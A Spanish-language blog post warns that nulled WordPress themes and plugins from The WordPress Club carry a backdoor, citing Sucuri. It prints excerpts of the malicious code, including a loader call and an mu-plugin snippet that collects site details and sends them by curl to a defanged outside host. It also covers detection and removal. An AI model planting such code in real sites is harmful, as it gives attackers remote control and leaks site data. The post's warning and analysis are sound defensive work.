Hacker con Acceso Remoto a tu Sitio

Los plugins sin licencia de activación o nulos siempre serán un problema  para la seguridad de cualquier sitio wordpress.

 Los plugins sin licencia de activación o nulos se pueden conseguir a través de páginas que lucran con el trabajo de desarrolladores.

También puedes conseguir plugins Premium por medio de páginas que los brindan a los usuarios de forma gratuita.

Hay que ser bastante ingenuo para creer que estas páginas hayan comprado esos plugins directamente de los desarrolladores.

No creo que alguien en su sano juicio vaya a comprar cientos de plugins y temas para wordpress con el fin de actuar como un buen samaritano y darlos a un bajo precio o de forma gratuita.

Mi teoría es que muchos de esos temas y plugins se bajan de otras paginas que dicen tener tambien plugins originales.

The WordPress Club: plugins y Temas GPL

Recientemente la página Sucuri publicó un interesante artículo sobre The WordPress Club, un sitio web qué regala de forma gratuita temas y plugins Premium.

En la página, vas encontrar un aviso que afirma que los plugins y temas Premium que ellos ofrecen son originales y que éstos no ha sido modificados por los administradores del sitio.

Sin embargo en la página de términos y servicios vas a encontrar que los temas y plugins que ellos ofrecen tienen código que puede permitir que alguien controle tu sitio de manera remota.

El equipo de Sucuri descubrió que los temas y plugins de The WordPress Club , contienen archivos que dan acceso remoto a terceros sin tu consentimiento.

  • rms-script-ini.php
  • rms-script-mu-plugin.php

Si debes ver para creer, tomé un pantallazo de GeneratePress bajado de ese sitio y mira lo que me encontré:

El equipo de Sucuri tambien indica que el siguiente código se encuentra presente en los temas y plugins del sitio

require_once('rms-script-ini.php');
rms_remote_manager_init(__FILE__, 'rms-script-mu-plugin.php', false, false);
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.

Y adivinen que me encontré en el archivo principal. Este código que trabaja en conjunto con los otros archivos .php encontrados en el carpeta de GP Premium descargada de The WordPress Club.

Esos tres puntos generan una puerta trasera que puedes encontrar en la carpeta de contenidos de tu sitio cuando el plugin o el tema es instalado.

Esa puerta trasera inclusive se puede visualizar desde el escritorio de wordpress, en la sección de plugins.

Y tambien encontraras presencia de en la base de datos en la tabla de wp_options.

Sucuri indica que ese código malicioso le da prácticamente funciones de administrador al hacker.

Este es parte el código contenido en la carpeta mu-plugins que le suministra datos de tu web al Hacker:

* ------------Register Config Variables------------ */
        $GLOBALS['rms_report_to']            =   'https://managerly[.]org/wp-admin/admin-ajax.php';
...
            // Gather data
            $data=
            [
                'title'     => get_bloginfo('name'),
                'url'       => get_home_url(),
                'ajax_url'  => admin_url('admin-ajax.php'),
                'ip'        => $_SERVER['SERVER_ADDR'],
                'tp'        => $name,
                'tp_status' => $activating,
                'hash'      => $hash,
                'show_to_logged'=>$show_post
            ];
            // send to rms
            $result = send_rms_curl_request('rms_ping_from_the_universe', ['site_data' => json_encode($data)]);

Sucuri concluye el articulo diciendo que el acceso remoto no autorizado le permite al hacker agregar entradas y modificar detalles de la base de datos.

Inclusive un hacker puede crear otras puertas traseras en caso de que esta sea detectada.

Los problemas acá descritos requieren un esfuerzo mayor que el simple hecho de borrar el plugin. Puede ser que borres el plugin y que la puerta trasera este aún disponible.

¿Cómo Remover la Puerta Trasera?

Yo usé WordFence, Quttera y otros plugins para detectar Malware y ninguno detectó la puerta trasera.

Esta es la parte interesante, al borrar la carpeta del problema o las entradas de la base de datos, estas vuelven aparecer un segundo después.

Si el plugin o tema sospechoso esta aún instalado en el sitio, las opciones en la base de datos y la carpeta en la instalación del sitio continuarán apareciendo sin importar cuantas veces los hagas.

Si solo tienes plugins gratuitos y premium pero tienes un tema o plugin de dudosa procedencia, debes borrarlo o comprarlo para librarte del problema.

Astra Security tambien indica que el primer paso es remover todo plugin o tema de dudosa procedencia en su sitio web.

¡Así que asegúrese de eliminar cualquier complemento anulado o agrietado de tu sitio y luego ejecute escaneos de malware! Use solo complementos y temas genuinos, y siga actualizándolos para asegurarse de que su sitio no sea vulnerable.

La Búsqueda del Código Malicioso

Un tema o un plugin son los culpables de esta vulnerabilidad por lo que eliminar el plugin o tema nulo o sin licencia es el primer paso para recuperar el control del sitio y no permitir que ese código malicioso continue enviando información a un hacker.

Yo use un plugin que se llama String locator para poder dar con los archivos y scripts que crean la puerta trasera.

String Locator tiene com fin localizar un código dentro de tu instalación por lo debes saber lo que estas buscando en primer lugar.

Con ese plugin pude identificar el plugin problemático, afortunadamente solo era uno el que tenia el el problema.

String Locator te indica la carpeta donde el código que estas buscando, el paso siguiente y correcto es borrar el plugin porque los scripts maliciosos están en el código de varios archivos PHP

Lo que me llamó la atención de este que los archivos PHP y código malicioso estaban presente en más de una carpeta, una jugada astuta si el usuario de plugins nulos no revisa todo el archivo.

Fuente de Inspiración

Estos fueron los tres artículos que me ayudaron a entender este problema: